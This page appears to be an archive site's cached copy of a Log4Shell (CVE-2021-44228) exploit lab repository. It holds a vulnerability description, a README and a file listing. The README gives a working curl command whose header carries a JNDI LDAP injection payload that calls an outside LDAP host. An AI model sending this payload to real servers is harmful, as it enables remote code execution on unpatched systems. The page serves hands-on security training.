Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-44228 PoC — Apache Log4j 代码问题漏洞

Source
Associated Vulnerability
Title:Apache Log4j 代码问题漏洞 (CVE-2021-44228)
Description:Apache Log4j是美国阿帕奇(Apache)基金会的一款基于Java的开源日志记录工具。 Apache Log4J 存在代码问题漏洞,攻击者可设计一个数据请求发送给使用 Apache Log4j工具的服务器,当该请求被打印成日志时就会触发远程代码执行。
Description
CVE-2021-44228
Readme
# log4shell exploit lab

This repository is a single-line setup for log4shell exploit lab.

Setup the lab: `docker-compose up -d`

Run exploit: `curl -X GET http://localhost:8080/ -H "X-Api-Version: ${jndi:ldap://my_ldap_server:1389/a}"`

Then go to `vul` container and see that indeed we pwned the machine:

![](README-resources/Screenshot%202023-11-30%20205423.png)


* Video explaining the lab setup: https://www.youtube.com/watch?v=WBzR30JcT5g)
* Video explaining the code: https://www.youtube.com/watch?v=oRvp0c-fa1o

File Snapshot

[4.0K] /data/pocs/4571729616a09024fc6c5d1efc1c14c0899f2958 ├── [4.0K] CVE-2021-44228 ├── [ 681] docker-compose.yml ├── [4.0K] log4shell_javaagent_monitor ├── [4.0K] log4shell-vulnerable-app ├── [ 523] README.md └── [4.0K] README-resources └── [ 53K] Screenshot 2023-11-30 205423.png 4 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.